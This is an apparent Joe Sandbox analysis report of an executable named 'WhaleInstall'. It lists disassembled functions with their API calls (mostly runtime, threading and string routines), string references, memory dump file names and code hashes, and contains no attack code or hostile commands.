CreateEventA.KERNEL32 ref: 00007FF772A7AB76
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000000,FFFFFFFE,?,00007FF772B6C570), ref: 00007FF772A7ABBB
GetCurrentThread.KERNEL32 ref: 00007FF772A7ABC0
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000000,FFFFFFFE,?,00007FF772B6C570), ref: 00007FF772A7ABC9
DuplicateHandle.KERNEL32 ref: 00007FF772A7ABF0
GetThreadPriority.KERNEL32 ref: 00007FF772A7AC02
TlsSetValue.KERNEL32 ref: 00007FF772A7AC2E
TlsGetValue.KERNEL32 ref: 00007FF772A7AC5F
abort.MSVCRT(00007FF772B6C570,FFFFFFFE,?,00007FF772B6C570,00007FF772A7BF9D,?,?,00007FF772B6C570,00007FF772B6C570,00007FF772A7D874), ref: 00007FF772B3409C
GetModuleHandleA.KERNEL32 ref: 00007FF772B340ED
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,00007FF772B6C570,00007FF772A7BF9D,?,?,00007FF772B6C570,00007FF772B6C570,00007FF772A7D874), ref: 00007FF772B3410C
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,00007FF772B6C570,00007FF772A7BF9D,?,?,00007FF772B6C570,00007FF772B6C570,00007FF772A7D874), ref: 00007FF772B3411F

Strings

kernel32.dll, xrefs: 00007FF772B340E6
AddVectoredExceptionHandler, xrefs: 00007FF772B34102
RemoveVectoredExceptionHandler, xrefs: 00007FF772B3410E

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: Current$Thread$AddressHandleProcProcessValue$CreateDuplicateEventModulePriorityabort
String ID: AddVectoredExceptionHandler$RemoveVectoredExceptionHandler$kernel32.dll
API String ID: 1214264455-3889795909
Opcode ID: 3342159f51aaa37456cfc1eb2dbb17fee3feaf43ed1230f1fc246f367c6cc72f
Instruction ID: 61d5e99e7a194231f8c69f02e2e7115814400bcb902a6c80b49122fd68016ae7
Opcode Fuzzy Hash: 3342159f51aaa37456cfc1eb2dbb17fee3feaf43ed1230f1fc246f367c6cc72f
Instruction Fuzzy Hash: 31416F32A3974286E710BF65A845769B7A0EB45B68F840235CD6D073A2EFBCE445CB24

Function 00007FF772A7B420 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF772A7A410: calloc.MSVCRT(00007FF772B6C570,FFFFFFFE,?,00007FF772A7AAB0,00007FF772B6C570,FFFFFFFE,?,00007FF772B6C570,00007FF772A7BF9D,?,?,00007FF772B6C570,00007FF772B6C570,00007FF772A7D874), ref: 00007FF772A7A4A7

TlsGetValue.KERNEL32 ref: 00007FF772A7B4D3
TlsGetValue.KERNEL32 ref: 00007FF772A7B4F6
TlsGetValue.KERNEL32 ref: 00007FF772A7B51B
fprintf.MSVCRT ref: 00007FF772A7B55B

Strings

kernel32.dll, xrefs: 00007FF772B340E6
AddVectoredExceptionHandler, xrefs: 00007FF772B34102
RemoveVectoredExceptionHandler, xrefs: 00007FF772B3410E
once %p is %ld, xrefs: 00007FF772A7B551

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: Value$callocfprintf
String ID: once %p is %ld$AddVectoredExceptionHandler$RemoveVectoredExceptionHandler$kernel32.dll
API String ID: 811747394-2209695033
Opcode ID: c1841697a7a805cb9af8b851a48c1252981be254352f2d40031561c9d5c26aa9
Instruction ID: 456976d25f61e850e14f98690e9ee9c327a413d683606bb6c682cdfa347faee5
Opcode Fuzzy Hash: c1841697a7a805cb9af8b851a48c1252981be254352f2d40031561c9d5c26aa9
Instruction Fuzzy Hash: 70519063A3DB4284EB55BB11E840A79A3A0FF58784FC54435DD6E077A2EEBCE440CB24

Function 00007FF772A6254F Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 123
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

UserAgent, xrefs: 00007FF772A62586

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID: UserAgent
API String ID: 0-1109331432
Opcode ID: 3e69174673c3bf086f16d7b793c1902ef5f1429cf67014361698827ca4fadd41
Instruction ID: 718b0836814247a876bd8df7e81a01afb358b74888fc6588422604c1962f862a
Opcode Fuzzy Hash: 3e69174673c3bf086f16d7b793c1902ef5f1429cf67014361698827ca4fadd41
Instruction Fuzzy Hash: 0D5171227386C18AEB70DB65E850BA86364F744B8CF400135DE6D5BBA4EFBDD640CB15

Function 00007FF772B2B7E0 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 251
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fwrite.MSVCRT ref: 00007FF772B2B968

Strings

, xrefs: 00007FF772B2B9EE

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: fwrite
String ID:
API String ID: 3559309478-3916222277
Opcode ID: 47def169cca68e18cbe971ec06f75dacf0d9d5d2550f774013492fedafef61fb
Instruction ID: 891d700ac59bb06cfa8b46e414921a57ca295e3e9703064102702e06561a0153
Opcode Fuzzy Hash: 47def169cca68e18cbe971ec06f75dacf0d9d5d2550f774013492fedafef61fb
Instruction Fuzzy Hash: 5BB15A27B38B8985EA14AB2AC04437DB7A1FB48F84F944031DB6D177B5DFA8E851C760

Function 00007FF772ADF360 Relevance: 1.6, APIs: 1, Instructions: 87
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fputc.MSVCRT ref: 00007FF772ADF427

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: fputc
String ID:
API String ID: 1992160199-0
Opcode ID: f50febf87a4272be67984ab2ac88a81f2b24d702709bd37f280521da34d7654c
Instruction ID: b0d6a5531064324992d913163146877d8b025401f3d12c6d3e80760ba8a4cd99
Opcode Fuzzy Hash: f50febf87a4272be67984ab2ac88a81f2b24d702709bd37f280521da34d7654c
Instruction Fuzzy Hash: 8931B523B38A4682EB50AB29D44067EA360FF84F98F554131DF6D477AECEACE451C760

Function 00007FF772B2F0C0 Relevance: 1.3, APIs: 1, Instructions: 29
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strlen.MSVCRT ref: 00007FF772B2F0D4

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: d18a255a362dbd27bd2ac82e8a0238bc7273a42cfdb022c47093184cc5e550cb
Instruction ID: 932700753f4cffa49bf6a5914cdad1398b554e0ba96cb75562a1ecc2a1568e9a
Opcode Fuzzy Hash: d18a255a362dbd27bd2ac82e8a0238bc7273a42cfdb022c47093184cc5e550cb
Instruction Fuzzy Hash: 99E092A3B6925941EC08F31B78965A952926F88FC4F988530CE1C0B752ED6DD883C750

Non-executed Functions

Function 00007FF772A8CAB0 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 388stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF772A8CB05
strlen.MSVCRT ref: 00007FF772A8CB1B
strlen.MSVCRT ref: 00007FF772A8CB6E
strlen.MSVCRT ref: 00007FF772A8CBD7
strlen.MSVCRT ref: 00007FF772A8CC32
strlen.MSVCRT ref: 00007FF772A8CC97

Strings

basic_string::append, xrefs: 00007FF772A8CDA2, 00007FF772A8CDAE, 00007FF772A8CDBA, 00007FF772A8CDC6
*, xrefs: 00007FF772A8D037

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: strlen$strcmp
String ID: *$basic_string::append
API String ID: 551667898-3732199748
Opcode ID: a3d7353aaf3efd0e4b900ff32fadae324a932b63c8a84428b66a51f4f4751552
Instruction ID: c047de3eccc574f6cada678c4d55db16a4ee23b370ab6b737abfe05ea19920ee
Opcode Fuzzy Hash: a3d7353aaf3efd0e4b900ff32fadae324a932b63c8a84428b66a51f4f4751552
Instruction Fuzzy Hash: 60E19E23B28B4281EB14AB26D404B6EA752EB45FC4F858532DF2D077A6DFBCD442CB50

Function 00007FF772A700C0 Relevance: 19.0, APIs: 8, Strings: 2, Instructions: 1492stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF772A7011B

Strings

!, xrefs: 00007FF772A71C2A
inity, xrefs: 00007FF772A71857

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: strlen
String ID: !$inity
API String ID: 39653677-46971583
Opcode ID: 8c1ccd86e63dce1de606615dec18cb77b7ae51a203d23421197b11202958f13b
Instruction ID: 2d9cd5ad4cf93e967e9f9947fe91eecd8964528a305f9fe2c6f0ff43c23e5e3d
Opcode Fuzzy Hash: 8c1ccd86e63dce1de606615dec18cb77b7ae51a203d23421197b11202958f13b
Instruction Fuzzy Hash: 60E2BE33A3C7828AE760AA25E440BAAF7A1FB85784F914135DE9947794DFBCE440CF14

Function 00007FF772A77DE0 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF772A77DF0
GetProcAddress.KERNEL32 ref: 00007FF772A77E07
LoadLibraryW.KERNEL32 ref: 00007FF772A77E2F
GetProcAddress.KERNEL32 ref: 00007FF772A77E3F

Strings

advapi32.dll, xrefs: 00007FF772A77E28
SystemFunction036, xrefs: 00007FF772A77E35
msvcrt.dll, xrefs: 00007FF772A77DE9
rand_s, xrefs: 00007FF772A77DFD

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: SystemFunction036$advapi32.dll$msvcrt.dll$rand_s
API String ID: 384173800-4041758303
Opcode ID: 6fc5e2fc2492eb03399b5da74e8976d56a3f643850751e1a35146eedd1a5125c
Instruction ID: 5bd07dcb2059383e7c0f9c522740ca5e35da8609cb0b7f3ebc5aef1270248e4f
Opcode Fuzzy Hash: 6fc5e2fc2492eb03399b5da74e8976d56a3f643850751e1a35146eedd1a5125c
Instruction Fuzzy Hash: 0BF01D22E3EA5780EA05BB51FC508B4A760BF09744BC50532CC3D46771FEACA44ACF24

Function 00007FF772A75F00 Relevance: 12.6, APIs: 8, Instructions: 598COMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 00007FF772A75F26
_errno.MSVCRT ref: 00007FF772A76051

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: _errnolocaleconv
String ID:
API String ID: 890718178-0
Opcode ID: 376e6950866af52d7d73b1d93f20568d6aac3226e8ad8ff5e2beb90db4fc9e6b
Instruction ID: 1245b6d4864757ef0e73e286f4b4d8c8a7255bf1957120ff7a1d0a4ca978c350
Opcode Fuzzy Hash: 376e6950866af52d7d73b1d93f20568d6aac3226e8ad8ff5e2beb90db4fc9e6b
Instruction Fuzzy Hash: A432F323E3829246FB657E258454F7EA691EB40F40FC68139DE69477C5CEBDE840CB28

Function 00007FF772A78B00 Relevance: 10.7, APIs: 7, Instructions: 206synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF772A7BA60: TlsGetValue.KERNEL32 ref: 00007FF772A7BA6F

Part of subcall function 00007FF772A79B90: WaitForMultipleObjects.KERNEL32 ref: 00007FF772A79C15

ResetEvent.KERNEL32 ref: 00007FF772A78B83

Part of subcall function 00007FF772A7BDC0: TlsGetValue.KERNEL32 ref: 00007FF772A7BDD1

WaitForSingleObject.KERNEL32 ref: 00007FF772A78BB7

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: ValueWait$EventMultipleObjectObjectsResetSingle
String ID:
API String ID: 2327612466-0
Opcode ID: 12d170d18377d963309499260b4109ef949f84569227cbae93e05794ebccfe23
Instruction ID: 08b2867ba0cda117b19fce5944f7e7b69520d3ed514d70710457b348a59a2b0c
Opcode Fuzzy Hash: 12d170d18377d963309499260b4109ef949f84569227cbae93e05794ebccfe23
Instruction Fuzzy Hash: 7061D523E3E21749F7A076665844E3AD184AF94794FDA4031DE2D833D1EDECE841EA39

Function 00007FF772A6C750 Relevance: 9.4, APIs: 4, Strings: 2, Instructions: 360stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 00007FF772A6C7A1
strlen.MSVCRT ref: 00007FF772A6C8AE

Strings

..., xrefs: 00007FF772A6CFAB
_GLOBAL_, xrefs: 00007FF772A6C797

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: strlenstrncmp
String ID: ...$_GLOBAL_
API String ID: 1310274236-2558009003
Opcode ID: d8aa47059924fd2f63a73db1de8787a1500b0f470ef239ad017e2e92138ec8af
Instruction ID: 22ab4e0bc02e32d6020f3f8491a6955067a8737a15132e963248c500d6bc41b3
Opcode Fuzzy Hash: d8aa47059924fd2f63a73db1de8787a1500b0f470ef239ad017e2e92138ec8af
Instruction Fuzzy Hash: FBF1D073A3868289E720AF3598087ED7BA2AB04B8CF854031DE6D17789DF799641CB54

Function 00007FF772A74770 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1388COMMON

Download Yara Rule

Strings

NaN, xrefs: 00007FF772A74A1F
, xrefs: 00007FF772A75EA7
Infinity, xrefs: 00007FF772A74AA0
, xrefs: 00007FF772A75C15

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID: $ $Infinity$NaN
API String ID: 0-3274152445
Opcode ID: cf4fa3bcbca5a973539380c6600a97efd2078839cb67fe8a530f6243f579f018
Instruction ID: 234d738bf75e4a15db56ccf656cf345398b0e6b5e28311bb8f08c00618a98b75
Opcode Fuzzy Hash: cf4fa3bcbca5a973539380c6600a97efd2078839cb67fe8a530f6243f579f018
Instruction Fuzzy Hash: 63D2D333A3C2818BE761AF25A400B2AF7A1FB85780F954135EE5A47B59DBBCE441CF14

Function 00007FF772A6DBB0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 232COMMON

Download Yara Rule

Strings

Unknown pseudo relocation protocol version %d., xrefs: 00007FF772A6DF00
Unknown pseudo relocation bit size %d., xrefs: 00007FF772A6DEF4
%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF772A6DD3D

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 0-1286557213
Opcode ID: 2ca1230fab3144b332f2581727b8dfbfb0da453a5466e7a05fe4c2045d4a04f1
Instruction ID: 62b6a7193a35e211baf2b115d128f74f66d0f06d547075e7dde71321905f3434
Opcode Fuzzy Hash: 2ca1230fab3144b332f2581727b8dfbfb0da453a5466e7a05fe4c2045d4a04f1
Instruction Fuzzy Hash: 9D91A823E3995281EB107B219400A79A651BF657ECF958231CE3D177D4DFBCE821CE28

Function 00007FF772A6DF53 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 00007FF772A6E012

Strings

CCG , xrefs: 00007FF772A6DF75

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

